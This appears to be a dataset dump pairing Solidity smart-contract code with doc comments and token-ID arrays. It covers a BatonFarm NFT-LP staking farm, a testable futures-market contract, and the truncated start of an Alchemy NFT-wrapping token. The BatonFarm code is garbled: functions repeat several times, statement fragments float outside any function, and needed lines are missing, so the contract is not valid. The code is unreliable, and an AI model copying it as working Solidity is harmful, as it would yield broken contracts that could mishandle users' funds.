file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
./partial_match/1/0x9d7BB476c40D1055771fCA982876b1E2A72B54F9/sources/BatonZapRouterV1.sol
@title BatonFarm @author Baton team @notice Yield farms that allow for users to stake their NFT AMM LP positions into our yield farm @dev We note that this implementation is coupled to Caviar's Pair contract. A Pair represents a a Uniswap-V2-like CFMM pool consisting of fractions of the NFT (hence a Pair.nft() function). caviar a new farm fee.
contract BatonFarm is Pausable, Owned, ERC721TokenReceiver { using SafeTransferLib for ERC20; using SafeTransferLib for address; STATE VARIABLES Pair public immutable pair; uint256 public rewardPerTokenStored; MAPPINGS mapping(address => uint256) public userRewardPerTokenPaid; MIGRATION VARIABLES BATON VARIABLES BatonFactory public immutable batonFactory; EVENTS event RewardAdded(uint256 reward); event Received(address indexed user, uint256 amount); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event MigrationInitiated(address migration); event MigrationComplete(address migration, uint256 amount, uint256 timestamp); event UpdateRewardsDistributor(address _rewardsDistributor); event UpdateRewardsDuration(uint256 newRewardsDuration); event Recovered(address tokenAddress, uint256 tokenAmount); event FoundSurplus(uint256 surplusAmount, address recoveredTo); CONSTRUCTOR constructor( address _owner, address _rewardsDistributor, address _batonMonitor, address _rewardsToken, address _pairAddress, address _batonFactory ) Owned(_owner) { require(_owner != address(0), "_owner shouldnt be address(0)"); require(_rewardsDistributor != address(0), "_rewardsDistributor shouldnt be address(0)"); require(_batonMonitor != address(0), "_batonMonitor shouldnt be address(0)"); require(_rewardsToken != address(0), "_rewardsToken shouldnt be address(0)"); require(_pairAddress != address(0), "_pairAddress shouldnt be address(0)"); require(_batonFactory != address(0), "_batonFactory shouldnt be address(0)"); pair = Pair(_pairAddress); rewardsToken = ERC20(_rewardsToken); stakingToken = ERC20(address(pair.lpToken())); rewardsDistributor = _rewardsDistributor; require(_rewardsDuration > 0, "_rewardsDuration cannot be 0"); require(_rewardsDuration < 5 * (365 days), "_rewardsDuration cannot be more then 5 years"); rewardsDuration = _rewardsDuration; batonMonitor = _batonMonitor; batonFactory = BatonFactory(_batonFactory); ERC721(pair.nft()).setApprovalForAll(address(pair), true); } RECEIVE receive() external payable { emit Received(msg.sender, msg.value); } VIEWS function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function totalSupply() external view returns (uint256) { return _totalSupply; } function calculatePercentage(uint256 basisPoints, uint256 amount) public pure returns (uint256) { uint256 percentage = basisPoints * amount / 10_000; return percentage; } function lastTimeRewardApplicable() public view returns (uint256) { return block.timestamp < periodFinish ? block.timestamp : periodFinish; } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } uint256 lastTimeApplicable = lastTimeRewardApplicable(); uint256 lastUpdateTimeDiff = lastTimeApplicable - lastUpdateTime; uint256 rewardRateMul = rewardRate * 1e18; uint256 rewardPerTokenIncrease = (lastUpdateTimeDiff * rewardRateMul) / _totalSupply; return rewardPerTokenStored + rewardPerTokenIncrease; } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } uint256 lastTimeApplicable = lastTimeRewardApplicable(); uint256 lastUpdateTimeDiff = lastTimeApplicable - lastUpdateTime; uint256 rewardRateMul = rewardRate * 1e18; uint256 rewardPerTokenIncrease = (lastUpdateTimeDiff * rewardRateMul) / _totalSupply; return rewardPerTokenStored + rewardPerTokenIncrease; } function earned(address account) public view returns (uint256) { uint256 rpt = rewardPerToken(); uint256 userRewardPerTokenPaidDiff = rpt - userRewardPerTokenPaid[account]; uint256 balanceOfAccount = _balances[account]; uint256 reward = (balanceOfAccount * userRewardPerTokenPaidDiff) / 1e18; return reward + rewards[account]; } function _unearnedRewards() internal view returns (uint256) { uint256 currentTime = block.timestamp; uint256 remainingTime = periodFinish - currentTime; uint256 remainingRewards = rewardRate * remainingTime; return remainingRewards; } STAKE FUNCTIONS function stake(uint256 amount) external poolNotMigrated onlyWhenPoolActive whenNotPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply + amount; _balances[msg.sender] = _balances[msg.sender] + amount; stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function nftAddAndStake( uint256[] calldata tokenIds, uint256 minLpTokenAmount, uint256 minPrice, uint256 maxPrice, uint256 deadline, bytes32[][] calldata proofs, ReservoirOracle.Message[] calldata messages ) external payable onlyWhenPoolActive whenNotPaused poolNotMigrated updateReward(msg.sender) { for (uint256 i = 0; i < tokenIds.length; i++) { ERC721(pair.nft()).safeTransferFrom(msg.sender, address(this), tokenIds[i]); } msg.value, tokenIds, minLpTokenAmount, minPrice, maxPrice, deadline, proofs, messages ); require(lpTokenAmount > 0, "Cannot stake 0"); stakingToken.balanceOf(address(this)) == _totalSupply + lpTokenAmount, "stakingToken balance didnt update from lpTokenAmount" ); _balances[msg.sender] = _balances[msg.sender] + lpTokenAmount; emit Staked(msg.sender, lpTokenAmount); } WITHDRAWING FUNCTIONS function nftAddAndStake( uint256[] calldata tokenIds, uint256 minLpTokenAmount, uint256 minPrice, uint256 maxPrice, uint256 deadline, bytes32[][] calldata proofs, ReservoirOracle.Message[] calldata messages ) external payable onlyWhenPoolActive whenNotPaused poolNotMigrated updateReward(msg.sender) { for (uint256 i = 0; i < tokenIds.length; i++) { ERC721(pair.nft()).safeTransferFrom(msg.sender, address(this), tokenIds[i]); } msg.value, tokenIds, minLpTokenAmount, minPrice, maxPrice, deadline, proofs, messages ); require(lpTokenAmount > 0, "Cannot stake 0"); stakingToken.balanceOf(address(this)) == _totalSupply + lpTokenAmount, "stakingToken balance didnt update from lpTokenAmount" ); _balances[msg.sender] = _balances[msg.sender] + lpTokenAmount; emit Staked(msg.sender, lpTokenAmount); } WITHDRAWING FUNCTIONS uint256 lpTokenAmount = pair.nftAdd{ value: msg.value }( require( _totalSupply = _totalSupply + lpTokenAmount; function withdrawAndRemoveNftFromPool( uint256 amount, uint256 minBaseTokenOutputAmount, uint256 deadline, uint256[] calldata tokenIds, bool withFee ) external updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToRemove = amount - batonFeeAmount; (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = pair.nftRemove(amountToRemove, minBaseTokenOutputAmount, deadline, tokenIds, withFee); for (uint256 i = 0; i < tokenIds.length; i++) { ERC721(pair.nft()).safeTransferFrom(address(this), msg.sender, tokenIds[i]); } } function withdrawAndRemoveNftFromPool( uint256 amount, uint256 minBaseTokenOutputAmount, uint256 deadline, uint256[] calldata tokenIds, bool withFee ) external updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToRemove = amount - batonFeeAmount; (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = pair.nftRemove(amountToRemove, minBaseTokenOutputAmount, deadline, tokenIds, withFee); for (uint256 i = 0; i < tokenIds.length; i++) { ERC721(pair.nft()).safeTransferFrom(address(this), msg.sender, tokenIds[i]); } } SafeTransferLib.safeTransferETH(msg.sender, baseTokenOutputAmount); function withdrawAndRemoveNftFromPool( uint256 amount, uint256 minBaseTokenOutputAmount, uint256 deadline, uint256[] calldata tokenIds, bool withFee ) external updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToRemove = amount - batonFeeAmount; (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = pair.nftRemove(amountToRemove, minBaseTokenOutputAmount, deadline, tokenIds, withFee); for (uint256 i = 0; i < tokenIds.length; i++) { ERC721(pair.nft()).safeTransferFrom(address(this), msg.sender, tokenIds[i]); } } harvest(); emit Withdrawn(msg.sender, amountToRemove); function withdrawAndRemoveLPFromPool( uint256 amount, uint256 minBaseTokenOutputAmount, uint256 minFractionalTokenOutputAmount, uint256 deadline ) external updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToRemove = amount - batonFeeAmount; if (amountToRemove > 0) { (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = pair.remove(amountToRemove, minBaseTokenOutputAmount, minFractionalTokenOutputAmount, deadline); SafeTransferLib.safeTransferETH(msg.sender, baseTokenOutputAmount); ERC20(address(pair)).safeTransfer(msg.sender, fractionalTokenOutputAmount); } } function withdrawAndRemoveLPFromPool( uint256 amount, uint256 minBaseTokenOutputAmount, uint256 minFractionalTokenOutputAmount, uint256 deadline ) external updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToRemove = amount - batonFeeAmount; if (amountToRemove > 0) { (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = pair.remove(amountToRemove, minBaseTokenOutputAmount, minFractionalTokenOutputAmount, deadline); SafeTransferLib.safeTransferETH(msg.sender, baseTokenOutputAmount); ERC20(address(pair)).safeTransfer(msg.sender, fractionalTokenOutputAmount); } } function withdrawAndRemoveLPFromPool( uint256 amount, uint256 minBaseTokenOutputAmount, uint256 minFractionalTokenOutputAmount, uint256 deadline ) external updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToRemove = amount - batonFeeAmount; if (amountToRemove > 0) { (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = pair.remove(amountToRemove, minBaseTokenOutputAmount, minFractionalTokenOutputAmount, deadline); SafeTransferLib.safeTransferETH(msg.sender, baseTokenOutputAmount); ERC20(address(pair)).safeTransfer(msg.sender, fractionalTokenOutputAmount); } } harvest(); emit Withdrawn(msg.sender, amountToRemove); function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToWithdrawal = amount - batonFeeAmount; if (amountToWithdrawal > 0) { stakingToken.safeTransfer(msg.sender, amountToWithdrawal); } emit Withdrawn(msg.sender, amountToWithdrawal); } GET REWARDS function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToWithdrawal = amount - batonFeeAmount; if (amountToWithdrawal > 0) { stakingToken.safeTransfer(msg.sender, amountToWithdrawal); } emit Withdrawn(msg.sender, amountToWithdrawal); } GET REWARDS function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(amount <= _balances[msg.sender], "Cannot withdraw more then you have staked"); _totalSupply = _totalSupply - amount; _balances[msg.sender] = _balances[msg.sender] - amount; if (batonFeeAmount > 0) { stakingToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToWithdrawal = amount - batonFeeAmount; if (amountToWithdrawal > 0) { stakingToken.safeTransfer(msg.sender, amountToWithdrawal); } emit Withdrawn(msg.sender, amountToWithdrawal); } GET REWARDS function harvest() public updateReward(msg.sender) { if (batonFeeAmount > 0) { rewardsToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToReward = reward - batonFeeAmount; if (amountToReward > 0) { rewardsToken.safeTransfer(msg.sender, amountToReward); } } function harvest() public updateReward(msg.sender) { if (batonFeeAmount > 0) { rewardsToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToReward = reward - batonFeeAmount; if (amountToReward > 0) { rewardsToken.safeTransfer(msg.sender, amountToReward); } } function harvest() public updateReward(msg.sender) { if (batonFeeAmount > 0) { rewardsToken.safeTransfer(batonMonitor, batonFeeAmount); } uint256 amountToReward = reward - batonFeeAmount; if (amountToReward > 0) { rewardsToken.safeTransfer(msg.sender, amountToReward); } } emit RewardPaid(msg.sender, amountToReward); function withdrawAndHarvest() external { withdraw(_balances[msg.sender]); harvest(); } MIGRATE FUNCTIONS function initiateMigration(address _migration) external onlyOwner poolNotMigrated { require(_migration != address(0), "Please migrate to a valid address"); require(_migration != address(this), "Cannot migrate to self"); migration = _migration; emit MigrationInitiated(_migration); } function migrate() external onlyBatonMonitor inMigrationMode poolNotMigrated onlyWhenPoolActive { uint256 rewardsToMigrate = _unearnedRewards(); migrationComplete = true; periodFinish = block.timestamp; rewardsToken.safeTransfer(address(migration), rewardsToMigrate); emit MigrationComplete(migration, rewardsToMigrate, block.timestamp); } NOTIFY FUNCTIONS function notifyRewardAmount(uint256 reward) external onlyRewardsDistributor poolNotMigrated updateReward(address(0)) { require(reward > 0, "reward cannot be 0"); rewardsToken.transferFrom(msg.sender, address(this), reward); uint256 surplusAmount = 0; if (block.timestamp >= periodFinish) { rewardRate = reward / rewardsDuration; periodFinish = block.timestamp + rewardsDuration; surplusAmount = reward - (rewardRate * rewardsDuration); uint256 remaining = periodFinish - block.timestamp; uint256 leftover = remaining * rewardRate; rewardRate = (reward + leftover) / remaining; surplusAmount = (reward + leftover) - (rewardRate * remaining); } require(rewardRate * rewardsDuration <= rewardsToken.balanceOf(address(this)), "Provided reward too high"); if (surplusAmount != 0) { rewardsToken.safeTransfer(rewardsDistributor, surplusAmount); emit FoundSurplus(surplusAmount, rewardsDistributor); } lastUpdateTime = block.timestamp; emit RewardAdded(reward); } function notifyRewardAmount(uint256 reward) external onlyRewardsDistributor poolNotMigrated updateReward(address(0)) { require(reward > 0, "reward cannot be 0"); rewardsToken.transferFrom(msg.sender, address(this), reward); uint256 surplusAmount = 0; if (block.timestamp >= periodFinish) { rewardRate = reward / rewardsDuration; periodFinish = block.timestamp + rewardsDuration; surplusAmount = reward - (rewardRate * rewardsDuration); uint256 remaining = periodFinish - block.timestamp; uint256 leftover = remaining * rewardRate; rewardRate = (reward + leftover) / remaining; surplusAmount = (reward + leftover) - (rewardRate * remaining); } require(rewardRate * rewardsDuration <= rewardsToken.balanceOf(address(this)), "Provided reward too high"); if (surplusAmount != 0) { rewardsToken.safeTransfer(rewardsDistributor, surplusAmount); emit FoundSurplus(surplusAmount, rewardsDistributor); } lastUpdateTime = block.timestamp; emit RewardAdded(reward); } } else { require(rewardRate > 0, "reward rate = 0"); function notifyRewardAmount(uint256 reward) external onlyRewardsDistributor poolNotMigrated updateReward(address(0)) { require(reward > 0, "reward cannot be 0"); rewardsToken.transferFrom(msg.sender, address(this), reward); uint256 surplusAmount = 0; if (block.timestamp >= periodFinish) { rewardRate = reward / rewardsDuration; periodFinish = block.timestamp + rewardsDuration; surplusAmount = reward - (rewardRate * rewardsDuration); uint256 remaining = periodFinish - block.timestamp; uint256 leftover = remaining * rewardRate; rewardRate = (reward + leftover) / remaining; surplusAmount = (reward + leftover) - (rewardRate * remaining); } require(rewardRate * rewardsDuration <= rewardsToken.balanceOf(address(this)), "Provided reward too high"); if (surplusAmount != 0) { rewardsToken.safeTransfer(rewardsDistributor, surplusAmount); emit FoundSurplus(surplusAmount, rewardsDistributor); } lastUpdateTime = block.timestamp; emit RewardAdded(reward); } function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); require(tokenAddress != address(rewardsToken), "Cannot withdraw the reward token"); ERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDistributor(address _rewardsDistributor) external onlyOwner { require(_rewardsDistributor != address(0), "_rewardsDistributor cannot be address(0)"); rewardsDistributor = _rewardsDistributor; emit UpdateRewardsDistributor(_rewardsDistributor); } function setRewardsDuration(uint256 _rewardsDuration) public onlyOwner { require(block.timestamp >= periodFinish, "pool is running, cannot update the duration"); rewardsDuration = _rewardsDuration; emit UpdateRewardsDuration(rewardsDuration); } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } modifier onlyRewardsDistributor() { require(msg.sender == rewardsDistributor || msg.sender == owner, "Caller is not RewardsDistributor contract"); _; } modifier onlyBatonMonitor() { require(msg.sender == batonMonitor, "Caller is not BatonMonitor contract"); _; } modifier inMigrationMode() { require(migration != address(0), "Contract owner must first call initiateMigration()"); _; } modifier poolNotMigrated() { require(!migrationComplete, "This contract has been migrated, you cannot deposit new funds."); _; } modifier onlyWhenPoolActive() { require(block.timestamp < periodFinish, "This farm is not active"); _; } modifier onlyWhenPoolOver() { require(block.timestamp >= periodFinish, "This farm is still active"); _; } }
3,890,596
[ 1, 38, 16799, 42, 4610, 225, 605, 16799, 5927, 225, 31666, 10247, 959, 716, 1699, 364, 3677, 358, 384, 911, 3675, 423, 4464, 432, 8206, 511, 52, 6865, 1368, 3134, 2824, 284, 4610, 225, 1660, 4721, 716, 333, 4471, 353, 1825, 416, 1259, 358, 23318, 522, 297, 1807, 8599, 6835, 18, 432, 8599, 8686, 279, 1377, 279, 1351, 291, 91, 438, 17, 58, 22, 17, 5625, 6123, 8206, 2845, 23570, 434, 8330, 87, 434, 326, 423, 4464, 261, 76, 802, 279, 8599, 18, 82, 1222, 1435, 445, 2934, 3474, 522, 297, 279, 394, 284, 4610, 14036, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 16799, 42, 4610, 353, 21800, 16665, 16, 14223, 11748, 16, 4232, 39, 27, 5340, 1345, 12952, 288, 203, 565, 1450, 14060, 5912, 5664, 364, 4232, 39, 3462, 31, 203, 565, 1450, 14060, 5912, 5664, 364, 1758, 31, 203, 18701, 7442, 22965, 55, 203, 203, 565, 8599, 1071, 11732, 3082, 31, 203, 203, 565, 2254, 5034, 1071, 19890, 2173, 1345, 18005, 31, 203, 203, 27573, 28801, 55, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 729, 17631, 1060, 2173, 1345, 16507, 350, 31, 203, 203, 10792, 490, 3047, 24284, 22965, 55, 203, 203, 203, 203, 10792, 605, 789, 673, 22965, 55, 203, 203, 565, 605, 16799, 1733, 1071, 11732, 324, 16799, 1733, 31, 203, 203, 4766, 9964, 55, 203, 203, 565, 871, 534, 359, 1060, 8602, 12, 11890, 5034, 19890, 1769, 203, 565, 871, 21066, 12, 2867, 8808, 729, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 934, 9477, 12, 2867, 8808, 729, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 3423, 9446, 82, 12, 2867, 8808, 729, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 534, 359, 1060, 16507, 350, 12, 2867, 8808, 729, 16, 2254, 5034, 19890, 1769, 203, 565, 871, 534, 359, 14727, 5326, 7381, 12, 11890, 5034, 394, 5326, 1769, 203, 565, 871, 15309, 2570, 10206, 12, 2867, 6333, 1769, 203, 565, 871, 15309, 6322, 12, 2867, 6333, 16, 2254, 5034, 3844, 16, 2254, 5034, 2858, 1769, 203, 565, 871, 2315, 17631, 14727, 1669, 19293, 12, 2867, 389, 266, 6397, 1669, 19293, 1769, 203, 565, 871, 2 ]
pragma solidity ^0.5.16; import "../FuturesMarket.sol"; contract TestableFuturesMarket is FuturesMarket { constructor( address _resolver, bytes32 _baseAsset, bytes32 _marketKey ) public FuturesMarket(_resolver, _baseAsset, _marketKey) {} function entryDebtCorrection() external view returns (int) { return _entryDebtCorrection; } function proportionalSkew() external view returns (int) { (uint price, ) = assetPrice(); return _proportionalSkew(price); } function maxFundingRate() external view returns (uint) { return _maxFundingRate(marketKey); } /* * The maximum size in base units of an order on each side of the market that will not exceed the max market value. */ function maxOrderSizes() external view returns ( uint long, uint short, bool invalid ) { uint price; (price, invalid) = assetPrice(); int sizeLimit = int(_maxMarketValueUSD(marketKey)).divideDecimal(int(price)); (uint longSize, uint shortSize) = marketSizes(); long = uint(sizeLimit.sub(_min(int(longSize), sizeLimit))); short = uint(sizeLimit.sub(_min(int(shortSize), sizeLimit))); return (long, short, invalid); } /** * The minimal margin at which liquidation can happen. Is the sum of liquidationBuffer and liquidationFee. * Reverts if position size is 0. * @param account address of the position account * @return lMargin liquidation margin to maintain in sUSD fixed point decimal units */ function liquidationMargin(address account) external view returns (uint lMargin) { require(positions[account].size != 0, "0 size position"); // reverts because otherwise minKeeperFee is returned (uint price, ) = assetPrice(); return _liquidationMargin(int(positions[account].size), price); } /* * Equivalent to the position's notional value divided by its remaining margin. */ function currentLeverage(address account) external view returns (int leverage, bool invalid) { (uint price, bool isInvalid) = assetPrice(); Position storage position = positions[account]; uint remainingMargin_ = _remainingMargin(position, price); return (_currentLeverage(position, price, remainingMargin_), isInvalid); } }
* The minimal margin at which liquidation can happen. Is the sum of liquidationBuffer and liquidationFee. Reverts if position size is 0. @param account address of the position account @return lMargin liquidation margin to maintain in sUSD fixed point decimal units/
function liquidationMargin(address account) external view returns (uint lMargin) { (uint price, ) = assetPrice(); return _liquidationMargin(int(positions[account].size), price); }
15,822,284
[ 1, 1986, 16745, 7333, 622, 1492, 4501, 26595, 367, 848, 5865, 18, 2585, 326, 2142, 434, 4501, 26595, 367, 1892, 471, 4501, 26595, 367, 14667, 18, 868, 31537, 309, 1754, 963, 353, 374, 18, 225, 2236, 1758, 434, 326, 1754, 2236, 327, 328, 9524, 4501, 26595, 367, 7333, 358, 17505, 316, 272, 3378, 40, 5499, 1634, 6970, 4971, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4501, 26595, 367, 9524, 12, 2867, 2236, 13, 3903, 1476, 1135, 261, 11890, 328, 9524, 13, 288, 203, 3639, 261, 11890, 6205, 16, 262, 273, 3310, 5147, 5621, 203, 3639, 327, 389, 549, 26595, 367, 9524, 12, 474, 12, 12388, 63, 4631, 8009, 1467, 3631, 6205, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; /// @author Alchemy Team /// @title Alchemy /// @notice The Alchemy contract wraps nfts into erc20 contract Alchemy is IERC20 { // using Openzeppelin contracts for SafeMath and Address using SafeMath for uint256; using Address for address; // presenting the total supply uint256 internal _totalSupply; // representing the name of the governance token string internal _name; // representing the symbol of the governance token string internal _symbol; // representing the decimals of the governance token uint8 internal constant _decimals = 18; // a record of balance of a specific account by address mapping(address => uint256) private _balances; // a record of allowances for a specific address by address to address mapping mapping(address => mapping(address => uint256)) private _allowances; // presenting the shares for sale uint256 public _sharesForSale; // struct for raised nfts struct _raisedNftStruct { IERC721 nftaddress; bool forSale; uint256 tokenid; uint256 price; } // The total number of NfTs in the DAO uint256 public _nftCount; // array for raised nfts _raisedNftStruct[] public _raisedNftArray; // mapping to store the already owned nfts mapping (address => mapping( uint256 => bool)) public _ownedAlready; // the owner and creator of the contract address public _owner; // the buyout price. once its met, all nfts will be transferred to the buyer uint256 public _buyoutPrice; // the address which has bought the dao address public _buyoutAddress; // representing the governance contract of the nft address public _governor; // representing the timelock address of the nft for the governor address public _timelock; // factory contract address address public _factoryContract; // A record of each accounts delegate mapping (address => address) public delegates; // A checkpoint for marking number of votes from a given block struct Checkpoint { uint256 votes; uint32 fromBlock; } // A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; // The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; // A record of states for signing / validating signatures mapping (address => uint) public nonces; // An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); // An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); constructor() { // Don't allow implementation to be initialized. _factoryContract = address(1); } function initialize( IERC721 nftAddress_, address owner_, uint256 tokenId_, uint256 totalSupply_, string memory name_, string memory symbol_, uint256 buyoutPrice_, address 